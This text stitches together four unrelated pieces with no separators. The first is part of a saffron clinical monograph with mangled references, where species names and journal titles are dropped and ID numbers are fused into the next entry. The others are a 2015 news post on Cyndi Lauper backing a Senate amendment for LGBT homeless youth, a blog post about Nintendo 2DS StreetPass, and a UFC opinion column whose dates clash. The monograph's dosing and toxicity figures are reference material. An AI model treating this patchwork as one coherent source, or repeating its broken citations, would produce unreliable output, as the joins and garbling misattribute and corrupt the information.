Reviews of studies investigating the cardiovascular effects of saffron in animals have been published. Reductions in blood pressure, decreased cholesterol and triglyceride levels, inhibition of platelet aggregation and improved overall hemodynamic status, and reduced infarct size have been reported. Stimulatory effects on beta-2 adrenoceptors, antimuscarinic and anticholinergic effects, calcium channel antagonism, modulation of nitric oxide, and increases in cyclic adenosine monophosphate have been observed in rodents or tissue preparations.2, 5, 20, 21 In a study comparing saffron with amiodarone in rats, saffron doses up to 200 mg/kg demonstrated a beneficial antiarrhythmic effect, but were not as effective as amiodarone.22 Beneficial effects of saffron extracts on insulin resistance and lipid levels seem to be associated with increased adiponectin.23, 24
Clinical data
Saffron has demonstrated an antioxidant effect in human platelets via inhibition of lipid peroxidation.25, 26, 27 Improved antioxidant status was demonstrated in an older study of patients with coronary artery disease administered saffron extract 50 mg twice daily.4, 9 In patients with metabolic syndrome, supplemental saffron 100 mg daily for 12 weeks produced improvement in some indices related to risk factors for cardiovascular disease (ie, heat shock proteins).28
In a study among healthy volunteers, saffron 400 mg daily for 7 days resulted in decreases in standing systolic, but not diastolic, blood pressure and in mean arterial pressure.29 In a double-blind, placebo-controlled study (N=60), administration of saffron 200 mg or 400 mg daily for 1 week did not affect any of the measured coagulation parameters.30
Depression
Animal data
In reviews of studies conducted in animal models of various CNS diseases, use of saffron extracts resulted in modulation of altered central excitatory and inhibitory processes, thus ameliorating CNS conditions such as depression.31 Aqueous and ethanolic saffron extracts reduced immobility time and increased swimming time in mouse models.32
Clinical data
A number of clinical trials have evaluated the efficacy of saffron 30 mg daily over 6 to 8 weeks in treating mild to moderate depression.5, 33, 34, 35, 36, 37, 38, 39, 40, 41 In several trials, saffron was more effective than placebo and at least equivalent to therapeutic doses of imipramine and fluoxetine according to Hamilton Depression Rating Scale (HAM-D) scores. There were no differences in adverse events between saffron and placebo groups in any of the studies; however, several involved small sample sizes (40 patients) and were conducted by the same group of researchers within a non-Western population.5, 40, 41 According to a meta-analysis of 5 published clinical trials examining the effects of saffron supplementation on symptoms of depression in patients with major depressive disorder, mean effect size was 1.62 for saffron over placebo (P<0.001).42 A more recent study of 60 patients compared 30 mg daily of a C. sativus extract containing crocin (1.65 to 1.75 mg) with citalopram 40 mg daily for 6 weeks; researchers noted comparable reductions in HAM-D scores throughout the study.43 A pilot study of 30 mg/day of the same C. sativus extract examined effects compared with fluoxetine 40 mg/day in women with postpartum depression; complete response (greater than 50% improvement in HAM-D scores) occurred in 13 patients in the extract group and 16 fluoxetine patients, with remission occurring in 6 and 7 patients, respectively.44
The significant cost of stigma-derived saffron capsules has prompted evaluation of the other plant parts; 2 trials evaluated petal-derived saffron with satisfactory results.34, 37 The Canadian Network for Mood and Anxiety Treatments (CANMAT) clinical guidelines for the management of major depressive disorder (MDD) in adults (2016) recommend saffron as third-line monotherapy or adjunctive therapy for mild to moderate MDD (Level 2).45
Other CNS disorders
Animal data
Studies in rodents have evaluated the effects of aqueous saffron extracts on anxiety, as well as on models of Parkinson disease and dementia.5, 46, 47 A study in mice concluded that the stigma and petal of saffron demonstrated antinociceptive and anti-inflammatory effects.48 In a rat study, crocin 20 and 40 mg/kg demonstrated protection against tardive dyskinesia induced by haloperidol.49
Clinical data
Two small, short-term clinical trials evaluating saffron in Alzheimer disease have been published (N=40, 16 weeks' duration; and N=44, 22 weeks' duration). These studies, conducted by the same group of researchers, reported efficacy with saffron greater than that with placebo and equivalent to that with donepezil.5, 50, 51 One study showed efficacy of saffron in the management of cognitive decline in patients with amnesic and multiple-domain mild cognitive impairment, with improvements in Mini-Mental State Examination scores, while the control group deteriorated (P=0.015).52
Limited clinical studies suggest efficacy in premenstrual syndrome53, 54 and in sexual dysfunction, particularly that related to antidepressant medication.55, 56, 57, 58 However, methodological issues exist in some of the studies,42 and others report no effect for saffron.42, 59 Furthermore, no effects on sperm density, morphology, and motility were reported in limited clinical studies.60, 61
The effects of saffron on satiety were evaluated in an 8-week, placebo-controlled clinical trial in healthy, mildly overweight women (N=60). A reduction in mean snacking frequency was reported; however, no differences in body weight were observed.62, 63
Inflammatory effects
Animal data
Hematological indices (reductions in eosinophil, neutrophil, and lymphocyte counts) and proinflammatory factors in rodents treated with saffron extract suggest anti-inflammatory effects. Antinociceptive and anti-inflammatory activities of saffron and its chemical constituents, as studied in animal experiments, have been reviewed.21, 64
Clinical data
The preventative effects of 10-day saffron supplementation on exercise-induced muscle soreness was compared with indomethacin in a small (N=39) clinical trial. Blinding of participants to treatment is unlikely because the saffron and placebo groups received once-daily dosing, while the indomethacin group adhered to an every-8-hour dosing regimen. Saffron 300 mg once daily decreased biochemical indices (plasma creatine kinase and lactate dehydrogenase) and functional force compared with placebo.65
Ophthalmic effects
Animal data
A review of studies of age-related macular degeneration in animal models has been published;66 the studies suggest that due to its antioxidant and anti-inflammatory effects67, 68 and its ability to increase blood flow,67 saffron may protect against retinal stress.69
Clinical data
Limited clinical studies have evaluated the effect of oral saffron supplementation (30 mg and 20 mg daily for 1 and 3 months, respectively) on age-related macular degeneration.70, 71 Retinal flicker sensitivity was improved in these studies, suggesting a neuroprotective effect.66
A decrease in intraocular pressure was demonstrated at 3 weeks in a clinical study (N=17) evaluating the effect of oral saffron (30 mg/day for 1 month) in patients with primary open-angle glaucoma.72
Other uses
Immunomodulatory effects have been described.73
Properties of saffron as an antidote to chemical toxicities and venom have been reported; the mechanism of action was attributed, in part, to antioxidant activity.17, 18 Reviews of antioxidant action and other properties of saffron and its constituents have also been published.16, 21, 74
Dosing
Clinical studies have evaluated doses ranging from 20 to 400 mg/day of pure saffron.42 A dose-response effect has been suggested.42
Dosages of up to 1.5 g/day of saffron are thought to be safe; toxic effects have been reported for 5 g doses.3, 75
Depression
20 to 30 mg/day of saffron extract (stigma or petal) for mild to moderate depression.5, 75
Hypertension
400 mg/day of saffron tablets for 7 days.29
Pregnancy / Lactation
There is limited evidence of the emmenagogue or abortifacient effects attributed to saffron. In a study among healthy volunteers, saffron 400 mg daily for 7 days caused abnormal uterine bleeding in 2 women.29 A study in the 1960s demonstrated uterine stimulant and estrogenic effects in guinea pigs and mice.29 A high concentration of crocetin was teratogenic in frogs,76 and an aqueous extract of saffron delayed bone ossification in mouse fetuses.77
Avoid use in pregnancy. Amounts higher than those used in food (eg, 5 g or more) have uterine stimulant and abortifacient effects.78, 79
Information regarding safety and efficacy in lactation is lacking.
Interactions
None well documented.78 Conflicting results regarding saffron's effect on human platelets in healthy volunteers were reported, while an aqueous extract of saffron inhibited human platelet aggregation in vitro.27, 29 Therefore, interactions with anti-aggregating drugs are theoretically possible; saffron is contraindicated in bleeding disorders.2
Crocetin binds strongly to serum albumin; however, displacement of plasma-bound drugs has not been evaluated.25, 80
Adverse Reactions
Clinical trials evaluating saffron extract 30 mg daily in the treatment of depression reported no statistically significant adverse events compared with placebo or comparator drugs. Reported adverse effects included nausea, vomiting, and headache.2, 5
In a study of healthy volunteers, saffron 400 mg daily for 7 days caused statistically significant, but not clinically important, increases in serum creatine, sodium, and serum urea nitrogen.29 Similarly, crocin 20 mg in healthy volunteers reportedly produced minor hematological changes but no major adverse effects.81
Allergic reactions are uncommon; however, occupational allergies, including rhinoconjunctivitis, bronchial asthma, and cutaneous pruritus, have been reported.82, 83 Case reports of anaphylaxis also exist.3, 84 Cross-sensitivity has been described among saffron and Lolium, Salsola, and Olea spp.83
Toxicology
A few studies have evaluated the mutagenicity of saffron using the Ames Salmonella test; concentrations of up to 1,500 mcg/plate were found to be nontoxic and nonmutagenic.9, 85
The constituent crocin was not associated with any major toxicity in experimental models,11 except at higher dosages (crocin 100 mg/kg for 2 weeks), in which case hepatotoxicity was observed.81
In clinical trials evaluating dosages of saffron 400 mg, changes in some hematological and biochemical indices were observed. However, no major adverse events occurred.81
Severe adverse effects (including purpura, thrombocytopenia, and severe bleeding) have been reported after ingestion of saffron 5 g.2, 4 A lethal dose is considered to be approximately 20 g; saffron doses of greater than 10 g have been used to induce abortion. Death has been reported with use of saffron as an abortifacient.29 However, saffron is generally not associated with toxicity when ingested in amounts typically used in food.2, 3
References
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Saffron in metabolic syndrome: its effects on antibody titers to heat-shock proteins 27, 60, 65 and 70.. 2014;11(1):43-49.2450116229. Modaghegh MH, Shahabian M, Esmaeili HA, Rajbai O, Hosseinzadeh H. Safety evaluation of saffron () tablets in healthy volunteers.. 2008;15(12):1032-1037.1869309930. Ayatollahi H, Javan AO, Khajedaluee M, Shahroodian M, Hosseinzadeh H. Effect ofL. (saffron) on coagulation and anticoagulation systems in healthy volunteers.. 2014;28(4):539-543.2373348831. Singh D. Neuropharmacological aspects ofL.: A review of preclinical studies and ongoing clinical research.. 2015;14(7):880-902.2571497432. Khazdair MR, Boskabady MH, Hosseini M, Rezaee R, M Tsatsakis A. The effects of(saffron) and its constituents on nervous system: A review.. 2015;5(5):376-391.2646845733. Talaei A, Hassanpour Moghadam M, Sajadi Tabassi SA, Mohajeri SA. Crocin, the main active saffron constituent, as an adjunctive treatment in major depressive disorder: a randomized, double-blind, placebo-controlled, pilot clinical trial.. 2015;174:51-56.2548417734. Akhondzadeh Basti A, Moshiri E, Noorbala AA, Jamshidi AH, Abbasi SH, Akhondzadeh S. Comparison of petal ofL. and fluoxetine in the treatment of depressed outpatients: a pilot double-blind randomized trial.. 2007;31(2):439-442.1717446035. Akhondzadeh S, Fallah-Pour H, Afkham K, Jamshidi AH, Khalighi-Cigaroudi F. Comparison ofL. and imipramine in the treatment of mild to moderate depression: a pilot double-blind randomized trial [ISRCTN45683816].. 2004;4:12.1534166236. Akhondzadeh S, Tahmacebi-Pour N, Noorbala AA, et al.L. in the treatment of mild to moderate depression: a double-blind, randomized and placebo-controlled trial.. 2005;19(2):148-151.1585249237. Moshiri E, Basti AA, Noorbala AA, Jamshidi AH, Hesameddin Abbasi S, Akhondzadeh S.L. (petal) in the treatment of mild-to-moderate depression: a double-blind, randomized and placebo-controlled trial.. 2006;13(9-10):607-611.1697932738. Noorbala AA, Akhondzadeh S, Tahmacebi-Pour N, Jamshidi AH. Hydro-alcoholic extract ofL. versus fluoxetine in the treatment of mild to moderate depression: a double-blind, randomized pilot trial.. 2005;97(2):281-284.1570776639. Shahmansouri N, Farokhnia M, Abbasi SH, et al. A randomized, double-blind, clinical trial comparing the efficacy and safety ofL. with fluoxetine for improving mild to moderate depression in post percutaneous coronary intervention patients.. 2014;155:216-222.2428989240. Sarris J. Herbal medicines in the treatment of psychiatric disorders: a systematic review.. 2007;21(8):703-716.1756256641. Thachil AF, Mohan R, Bhugra D. The evidence base of complementary and alternative therapies in depression.. 2007;97(1-3):23-35.1692605342. Hausenblas HA, Heekin K, Mutchie HL, Anton S. A systematic review of randomized controlled trials examining the effectiveness of saffron (L.) on psychological and behavioral outcomes.. 2015;13(4):231-240.2616536743. Ghajar A, Neishabouri SM, Velayati N, et al.L. versus citalopram in the treatment of major depressive disorder with anxious distress: a double-blind, controlled clinical trial [published online ahead of print October 4, 2016]..2770168310.1055/s-0042-11615944. Kashani L, Eslatmanesh S, Saedi N, et al. Comparision of saffron versus fluoxetine in treatment of mild to moderate postpartum depression: a double-blind, randomized clinical trial.. 2017;50(2):64-68.2759529810.1055/s-0042-11530645. Ravindran AV, Balneaves LG, Faulkner G, et al; CANMAT Depression Work Group. Canadian Network for Mood and Anxiety Treatments (CANMAT) 2016 Clinical Guidelines for the Management of Adults with Major Depressive Disorder: Section 5. Complementary and Alternative Medicine Treatments.. 2016;61(9):576-587.2748615346. Pitsikas N. Constituents of saffron (L.) as potential candidates for the treatment of anxiety disorders and schizophrenia.. 2016;21(3):303.2695010247. Pitsikas N. The Effect ofL. and its constituents on memory: basic studies and clinical applications.. 2015;2015:926284.2571359448. Hosseinzadeh H, Younesi HM. Antinociceptive and anti-inflammatory effects ofL. stigma and petal extracts in mice.. 2002;2:7.1191413549. Kamyar M, Razavi BM, Hasani FV, Mehri S, Foroutanfar A, Hosseinzadeh H. Crocin prevents haloperidol-induced orofacial dyskinesia: possible an antioxidant mechanism.. 2016;19(10):1070-1079.2787270350. Akhondzadeh S, Sabet MS, Harirchian MH, et al. Saffron in the treatment of patients with mild to moderate Alzheimer's disease: a 16-week, randomized and placebo-controlled trial.. 2010;35(5):581-588.2083168151. Akhondzadeh S, Shafiee Sabet M, Harirchian MH, et al. A 22-week, multicenter, randomized, double-blind controlled trial ofin the treatment of mild-to-moderate Alzheimer's disease.. 2010;207(4):637-643.1983886252. Tsolaki, M, Karathanasi E, Lazarou I, et al. Efficacy and safety ofL. in patients with mild cognitive impairment: one year single-blind randomized, with parallel groups, clinical trial.. 2016;54(1):129-33.2747287853. Agha-Hosseini M, Kashani L, Aleyaseen A, et al.L. (saffron) in the treatment of premenstrual syndrome: a double-blind, randomised and placebo-controlled trial.. 2008;115(4):515-519.1827188954. Fukui H, Toyoshima K, Komaki R. Psychological and neuroendocrinological effects of odor of saffron ().. 2011;18(8-9):726-730.2124207155. Kashani L, Raisi F, Saroukhani S, et al. Saffron for treatment of fluoxetine-induced sexual dysfunction in women: randomized double-blind placebo-controlled study.. 2013;28(1):54-60.2328054556. Modabbernia A, Sohrabi H, Nasehi AA, et al. Effect of saffron on fluoxetine-induced sexual impairment in men: randomized double-blind placebo-controlled trial.. 2012;223(4):381-388.2255275857. Mohammadzadeh-Moghadam H, Nazari SM, Shamsa A, et al. Effects of a topical saffron (L) gel on erectile dysfunction in diabetics: a randomized, parallel-group, double-blind, placebo-controlled trial.. 2015;20(4):283-286.2594867458. Shamsa A, Hosseinzadeh H, Molaei M, Shakeri MT, Rajabi O. Evaluation ofL. (saffron) on male erectile dysfunction: a pilot study.. 2009;16(8):690-693.1942777559. Safarinejad MR, Shafiei N, Safarinejad S. An open label, randomized, fixed-dose, crossover study comparing efficacy and safety of sildenafil citrate and saffron (Linn.) for treating erectile dysfunction in men naive to treatment.. 2010;22(4):240-250.2052062160. Safarinejad MR, Shafiei N, Safarinejad S. A prospective double-blind randomized placebo-controlled study of the effect of saffron (Linn.) on semen parameters and seminal plasma antioxidant capacity in infertile men with idiopathic oligoasthenoteratozoospermia.. 2011;25(4):508-516.2082489461. Heidary M, Vahhabi S, Reza Nejadi J, et al. Effect of saffron on semen parameters of infertile men [published correction appears in. 2009;6(1):71].. 2008;5(4):255-259.1910190062. Gout B, Bourges C, Paineau-Dubreuil S. Satiereal, aL extract, reduces snacking and increases satiety in a randomized placebo-controlled study of mildly overweight, healthy women.. 2010;30(5):305-313.2057952263. Mashmoul M, Azlan A, Khaza'ai H, Yusof BN, Noor SM. Saffron: a natural potent antioxidant as a promising anti-obesity drug.. 2013;2(4):293-308.2678446664. Poma A, Fontecchio G, Carlucci G, Chichiriccò G. Anti-inflammatory properties of drugs from saffron crocus.. 2012;11(1):37-51.2293474765. Meamarbashi A, Rajabi A. Preventive effects of 10-day supplementation with saffron and indomethacin on the delayed-onset muscle soreness.. 2015;25(2):105-112.2491517566. Bisti S, Maccarone R, Falsini B. Saffron and retina: neuroprotection and pharmacokinetics.. 2014;31(4-5):355-361.2481992767. Xuan B, Zhou YH, Li N, Min ZD, Chiou GC. Effects of crocin analogs on ocular blood flow and retinal function.. 1999;15(2):143-152.1022949268. Laabich A, Vissvesvaran GP, Lieu KL, et al. Protective effect of crocin against blue light- and white light-mediated photoreceptor cell death in bovine and primate retinal primary cell culture.. 2006;47(7):3156-3163.1679906369. Maccarone R, Di Marco S, Bisti S. Saffron supplement maintains morphology and function after exposure to damaging light in mammalian retina.. 2008;49(3):1254-1261.1832675670. Marangoni D, Falsini B, Piccardi M, et al. Functional effect of saffron supplementation and risk genotypes in early age-related macular degeneration: a preliminary report.. 2013;11:228.2406711571. Falsini B, Piccardi M, Minnella A, et al. Influence of saffron supplementation on retinal flicker sensitivity in early age-related macular degeneration.. 2010;51(12):6118-6124.2068874472. Jabbarpoor Bonyadi MH, Yazdani S, Saadat S. The ocular hypotensive effect of saffron extract in primary open angle glaucoma: a pilot study.. 2014;14:399.2531972973. Kianbakht S, Ghazavi A. Immunomodulatory effects of saffron: a randomized double-blind placebo-controlled clinical trial.. 2011;25(12):1801-1805.2148041274. Khorasany AR, Hosseinzadeh H. Therapeutic effects of saffron (L.) in digestive disorders: a review.. 2016;19(5):455-469.2740325175. Lopresti AL, Drummond PD. Saffron () for depression: a systematic review of clinical studies and examination of underlying antidepressant mechanisms of action.. 2014;29(6):517-527.2538467276. Martin G, Goh E, Neff AW. Evaluation of the developmental toxicity of crocetin on Xenopus.. 2002;40(7):959-964.1206521877. Golalipour MJ, Gharravi AM, Ghafari S, Afshar M, Khori V. Effects ofon the fetal development of NMRI mice.. 2008;29(2):309-310.1824625178. Brinker FJ.. 2nd ed. Sandy, OR: Eclectic Medical Publications; 1998.79. Ernst E. Herbal medicinal products during pregnancy: are they safe?. 2002;109(3):227-235.1195017680. Miller TL, Willett SL, Moss ME, Miller J, Belinka BA Jr. Binding of crocetin to plasma albumin.. 1982;71(2):173-177.706223981. Alavizadeh SH, Hosseinzadeh H. Bioactivity assessment and toxicity of crocin: a comprehensive review.. 2014;64:65-80.2427509082. Martínez FV, Muñoz Pamplona MP, Urzaiz AG, García EC. Occupational airborne contact dermatitis from saffron bulbs.. 2007;57(4):284-285.1786823183. Feo F, Martinez J, Martinez A, et al. Occupational allergy in saffron workers.. 1997;52(6):633-641.922605784. Wüthrich B, Schmid-Grendelmeyer P, Lundberg M. Anaphylaxis to saffron.. 1997;52(4):476-477.918893685. Abdullaev FI. Cancer chemopreventive and tumoricidal properties of saffron (L.).. 2002;227(1):20-25.11788779
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In politics, everything is connected.
For nearly six months, Loretta Lynch has been waiting for the Senate to vote to confirm her as the nation's next attorney general. But Senate Republicans decided to hold up her confirmation vote so they could pass a human trafficking bill that Democrats were totally fine with - until a few Democrats realized the Republicans had snuck an anti-abortion amendment into the bill.
Now that the two sides have somewhat worked things out, even though the bill may not include funding for abortion even in the case of rape, there are amendments that must be voted on.
Cyndi Lauper, who several years ago created the True Colors Fund to help homeless LGBT youth, is campaigning for an amendment to the anti-trafficking bill that, she says will help LGBT homeless youth.
"This afternoon, the U.S. Senate will decide if it will reauthorize the Runaway and Homeless Youth Act, the nation's only federal law that funds programs specifically for youth experiencing homelessness, and whether or not to include a non-discrimination clause that would protect lesbian, gay, bisexual, and transgender (LGBT) youth."
Senators must protect #LGBT homeless youth today by voting YES on Leahy-Collins SA 290. #PassRHYTPA http://t.co/QKPg3Dg3RP — Cyndi Lauper (@cyndilauper) April 22, 2015
In an open letter to Senators, she writes, "I strongly urge you to vote YES this afternoon in support of the bipartisan Leahy-Collins-Ayotte-Murkowski-Baldwin RHYA Amendment 290 and vote NO on the Cornyn Amendment 1127."
Lauper says if the Senate does not, it "would be nothing short of a moral and ethical failure that will result in throwing away the 40% of our country's homeless youth who are LGBT."
And she's offering some easy social media links you can use to tweet and post to Facebook:
Join Cyndi in telling the Senate to #PassRHYTPA now via Facebook and Twitter.
UPDATE - 3:31 PM EDT:
Since the publication of this article, the Senate voted on and did not pass the Leahy Amendment, failing LGBT homeless youth.
Image via True Colors Fund
I’d been interested in picking one up for a while, and the promise of price-drops around Black Friday had me checking every now and then. I’m not a massive gamer, but there are a handful of games on the system that looked appealing to me.
The 2DS is the cheaper version of the 3DS. For one thing it, obviously, omits the 3D screen. This wasn’t a huge concern to me. It also has a simple, flat construction rather than the 3DS’ hinged, folding clamshell approach. This makes the 2DS less neat and pocketable, but still quite portable.
(Trivia: the flat construction means that although the 2DS appears to have two separate screens, it’s actually one big slab under the plastic shell to save money. Clever!)
I’ll talk about the games another time – I’m dozens of hours into Weeaboo Junction alone – but today I’m thinking about one of the system’s core functions: StreetPass.
StreetPass
2DS and 3DS devices all have WiFi built in. This lets the user download games, play online multiplayer, and browse the web (to some degree). So far, so ordinary for a games console these days.
But 2DSes and 3DSes can also talk to eachother, primarily for local multiplayer, but also for StreetPass functionality. Contrary to most device-to-device communications, StreetPass actually allows devices to talk without any input from the users.
As long as a 2DS or 3DS is on standby/in sleep mode, it is constantly seeking other devices to talk to. And when it finds one, it will perform a sort of ‘handshake’ with the other device. Later, both users will see a green LED notification light on the device, and they’ll have any one of a number of things to check/play with.
Obviously, this kind of exchange only happens when two devices are in close proximity, so it’s more likely in busier places, like cities and public transport hubs. Therefore, it can be hugely beneficial to take your 2DS anywhere you go, leaving it in standby mode, just on the off-chance you pass another user.
This quite unique system function was one of the things that attracted me to the console. I rather like the idea of pseudo-random exchanges with strangers within the walled garden of Nintendo’s network and games.
“But Paul!” you cry.
“Don’t you know the 3DS was first launched six years ago?! Just how many users do you think there will be still bumbling around on the streets of London?”
Fair point.
My experiences with StreetPass have been… Well, pretty much as I’d expected. I’ve had a handful of exchanges so far, usually near busier transport interchanges, like Golders Green, Euston station, and other busy trains/stations I’ve passed through recently.
But frequenting locations such as these is by no means a dead cert in terms of receiving StreetPasses. I’ve carried my 2DS in my bag when visiting Euston station, Oxford Street, etc, and had no ‘hits’. I tell myself that other factors may be at play – too many other devices interfering with WiFi reception, or the limited range of each device. But I really think it’s just down to a low install base. Which, in a way, makes each StreetPass all the sweeter.
The other way to get StreetPass hits is via a Nintendo Zone.
Nintendo Zones in London Nintendo Zones in Europe
These are public WiFi hotspots and there used to be loads in the UK, but now it appears to be limited to branches of GAME, the videogame retailer. Above, left, shows the remaining Nintendo Zones within the M25, and, right, the map shows the European countries still with Nintendo Zones. Source.
Users who StreetPass within a Nintendo Zone get the data from, I believe, the last six users to also do the same. This makes it a good way to bulk up your StreetPass hits without actually needing to be in proximity with the other users. The clever bit is, much like an actual StreetPass, you don’t need to do anything to connect to a Nintendo Zone. It just works when you’re in range. I tested this out recently by stuffing my 2DS into my running backpack and passing my nearest branch of GAME. It worked perfectly, and gave the expected boost to my StreetPass hit count.
So what do you get when you StreetPass with someone? It depends.
The main port of call is a sort-of game called Mii Plaza, where other users’ Miis will be gathered. Miis are Nintendo’s weird bobble-headed avatars which you can tweak to vaguely resemble you or whomever you please. The associated metadata is limited: your birthday (DD/MM only), the latest 3DS game you’ve been playing, and a few other child-friendly tidbits.
You’re quite limited in what data you can include in the free text fields. It would be a stretch, even, to hack your contact details into it. And that’s sort of the point. Nintendo intentionally made this system pseudo-anonymous. They have a two-way handshake friend code system for real-life buddies, but StreetPass is just kind of vague. Miis, as avatars, are kind of ageless. It’s hard to tell if you’ve StreetPassed with a ten-year-old or a fifty-year-old.
Anyway, in Mii Plaza there are a handful of cute mini-games, and you also see a frankly horrifying army of all the Miis you’ve ‘met’ recently, lined up and grinning. But Mii Plaza is pre-installed and is just one bit of 3DS software that makes use of StreetPass.
Other games for the system such as Mario Kart 7 and Animal Crossing: New Leaf can trade data with other users via StreetPass, including fastest lap times in the former and sharing home interior designs with the latter. There are a ton of other examples.
There’s even a music player built into the 2DS/3DS, and if you add some tracks to your favourites, StreetPass will work a bit of Last.FM-style magic and notify you if you share any favourite tracks with other users.
Even with my limited experiences with StreetPass, I’ve had a number of quite charming ‘interactions’ (these are only ever after the fact, never real-time) with other users, particularly seeing their Animal Crossing homes.
The age of the system and the lack of remaining Nintendo Zones means the opportunities to StreetPass are getting fewer and fewer. I wish there were still more Zones available – I think they also used to use the ubiquitous ‘The Cloud’ WiFi hotspots, which would’ve really boosted your chances. But still, it’s a fun little bonus feature of the system which adds some charm and some unexpected surprises now and then.
The fact that StreetPass isn’t coming to the Nintendo Switch means I guess its days are numbered. Hopefully the 2DS/3DS system will live on alongside the Switch, as the new system isn’t truly portable – or certainly not pocketable – and I believe Nintendo has indicated that the two platforms will co-exist for the time being.
Even if StreetPass ceased to exist tomorrow, the vast library of games for the 3DS, not to mention DS and Virtual Console titles, means I will have plenty to keep me going for a while yet.
Postscript
Perhaps unsurprisingly for a closed system run by someone like Nintendo, the technology behind StreetPass is proving hard to research. Online, in the marketing bumf, you’ll find real-world scenarios and in-game features, rather than frequencies, power consumption transmission ranges, amount and format of data transmitted or time needed for a successful StreetPass.
Some of these factors are applicable to the WiFi standard generally. But other factors remain a bit of a mystery. And perhaps that’s best. Certainly it makes sense to keep it simple for the purposes of a mainstream, predominantly kid-friendly console.
The more information a company releases on functions like this, the more likely it is to be hacked or gamed. There are, or were, ways to create your own bootleg Nintendo Zones with a hacked router, which intrigues me greatly. But I also like that it all just works for the average user.
Anyway, the whole concept has got me thinking about near field communications (NFC), local WiFi and Bluetooth handshakes and beacons, mesh networks, and other possibilities with similar technologies.
That would suggest that another booming year is in store for the UFC; however, not even two weeks into the year, there have been some major developments that could indicate that the promotion is headed further down a destructive path for the sport similar to the rapid decline of the once-prominent popularity of boxing.
And two of them came today. The first was the finding that light heavyweight champion Jon Jones had spent a whopping one day in a rehabilitation facility after he failed an out-of-competition (OOC) drug test for cocaine prior to his UFC 182 win over Daniel Cormier. The whole thing has been nothing but a mess of convoluted timelines and mishandled drug policies by the Nevada State Athletic Commission (NSAC), but this article isn’t about them.
It’s about the UFC and their motivations as of late, which appear to firmly fixated on one thing and one thing only: greed.
Jones is obviously one of their top draws because people want to tune in to see him lose akin to boxing’s bad boy champ Floyd Mayweather.
He’s a big earner, and concessions are going to be made for the top producers in all walks of life; you’d find it very difficult to find an occupation where that isn’t true in at least some form. So that’s no surprise. The shocking thing, to me, is how the UFC has responded to the whole Jones scenario with a straight face.
They applauded Jones’ decision to enter rehab with not even a minor punishment while several fighters have been suspended, fined, and even cut for smoking marijuana. UFC President Dana White appeared on FOX Sports 1 and UFC Tonight to state that it was a “great thing” Jones got the help he needed, but what kind of help can you get for anything resembling a cocaine addiction in one day?
Not much, so Jones’ rehab visit was a public relations stunt. Although it’s hardly the first we’ve seen from a star athlete or celebrity who got caught using drugs, it may be one of the most blatant and insulting to fans. I’ll once again admit that Jones can and will be dealt with differently as one of the UFC’s best fighters; that’s just to be expected.
Yet to go on television like White and UFC fighter-turned-mouthpiece Brian Stann did with a feigned claim of concern for Jones’ well-being is just laughable. To think that fans would even remotely buy what they’ve been handed is ridiculous. Heck, I don’t know; maybe many of them did.
But the whole thing stinks, it will continue to stink, and it was handled like the involved parties didn’t even know what to do with a drug test that was a mistake in the first place (because it was).
Now the UFC has their Mike Tyson character in Jones, a seemingly unstoppable, arrogant party animal whom people can’t wait to see lose. That will translate into tons of dollar signs, and that appears to be all they’re looking for at this point.
The second disconcerting sign of the day is UFC CEO Lorenzo Fertitta’s absolutely ridiculous comparison of Irish featherweight Conor McGregor to boxing great Muhammad Ali. True, McGregor can captivate an audience like few can with his quick wit and electric personality, and he’s also acquired a massive following in a record-setting amount of time.
On the other hand, however, “Notorious” has had only four fights in the UFC. Four fights. Comparing him to Ali, who sent some of the best legends in boxing history packing and inspired a social movement, is not only premature, but it’s setting McGregor on a pedestal he simply can’t attain.
Sure, he can talk trash better than anyone in MMA and he’s finishing his opponents with ruthless efficiency, but he will never be Muhammad Ali. There will never be another Ali.
That’s not to hate on McGregor, because he is one of the more entertaining fighters we’ve seen arise in many years. You still have to wonder if we’re getting way too much of a good thing, however. Taking a look ahead at FOX Sports 1’s late night programming last night, I noticed that there were not one, not two, but THREE programs about McGregor and his UFC Fight Night 59 main event against Dennis Siver this Sunday (January 18, 2014) set to air consecutively.
There was UFC Rising, UFC Fighter’s Cut, and UFC Presents The Notorious: Conor McGregor. It’s hard to differentiate between all of the influential programming we’re being force-fed about their new golden boy.
By comparison, I’ve seen exactly one interview with Siver, and I had to translate it from German from a site based in Denmark.
I’m not saying we should be surprised by this marketing strategy, because it’s been used to promote big stars throughout combat sports history.
What I am saying is that the UFC could go about a bit more tactfully, a bit more thought-out, but then again, they’ve already shown us they don’t really care what we think. If spamming endless McGregor videos brings in the dollars, that’s what they’re going to do, even if their greed ruins the sport like it did boxing.
The third reason I’ll cite for the UFC’s pending (or further) potential decline in 2015 is their signing of former WWE wrestler Phillip “CM Punk” Brooks. The move, which will showcase Brooks versus an unknown, inexperienced fighter, has been wholly blasted by veteran fighters like Nate Diaz and Matt Brown, and even Jones said he “really hopes we get to watch Punk get knocked out.”
It’s a move that will bring an entirely new, paying base of fans over to the UFC (at least for one fight), so from a business point of view; it makes perfect sense for the UFC. Yet bringing in an athlete with no real prior MMA experience to make a big paycheck for what could be only one fight based solely on his name recognition is simply a slap in the face to the hard working fighters already in their employ.
I was for the move when it was first announced, but after watching countless interviews with Punk, the true colors of what it is have kind of shone through for me. At first he appeared ready to accept everyone’s doubts about him as an MMA fighter, but as the criticism was heaped on, he definitely took a more sour tone with his detractors.
At a fan Q&A session at UFC 182, Punk and Octagon announcer Jon Anik took turns poking fun at his fans and their boorish, alcohol-induced, and incoherent questions, as if they were shocked and surprised by what they had seen from a bunch of WWE fans. They certainly weren’t trying very hard to avoid alienating the precise fanbase they are trying to acquire, but maybe they think that they’ll tune in anyway. They certainly will.
It’s another publicity stunt in every sense of the term, and it’s going to work as far as the UFC’s judging criteria, which are sales and money, are concerned.
But overall it just continues to extend the disconnected sense of impersonality that the UFC is purveying to their fans right now. They basically insult their intelligence, shove endless lackluster cards and canned propaganda down their throats, and expect fans to thank them for giving them their hard-earned money.
That’s not even taking into account the UFC’s well-documented issues with fighter pay and alleged attempts to monopolize fighting, for which they’re currently involved in a massive class action lawsuit. While that’s a huge, overarching discussion in its own right, the past year’s (or more) events may have shown that having one ruling MMA promotion just doesn’t work.
If this article sounds too negative, well, that’s because it is. I’m concerned about where the UFC, and as a result, MMA as a whole is headed. It seems to be centered on nothing other than money and greed, which is exactly what ruined boxing.
Promoters like Bob Arum and Don King earned huge paydays while relegating the sport to a rarely-revered spectacle with one or two truly blockbuster fights per year. White has always blasted those promoters and what they did to boxing, but if he isn’t careful, his promotion (and sport) is going to go down the exact same road, and in a much shorter period of time.
What are your thoughts on the UFC’s recent handling of MMA? Are they damaging the sport beyond repair, or will it continue to grow in the future?
survey services
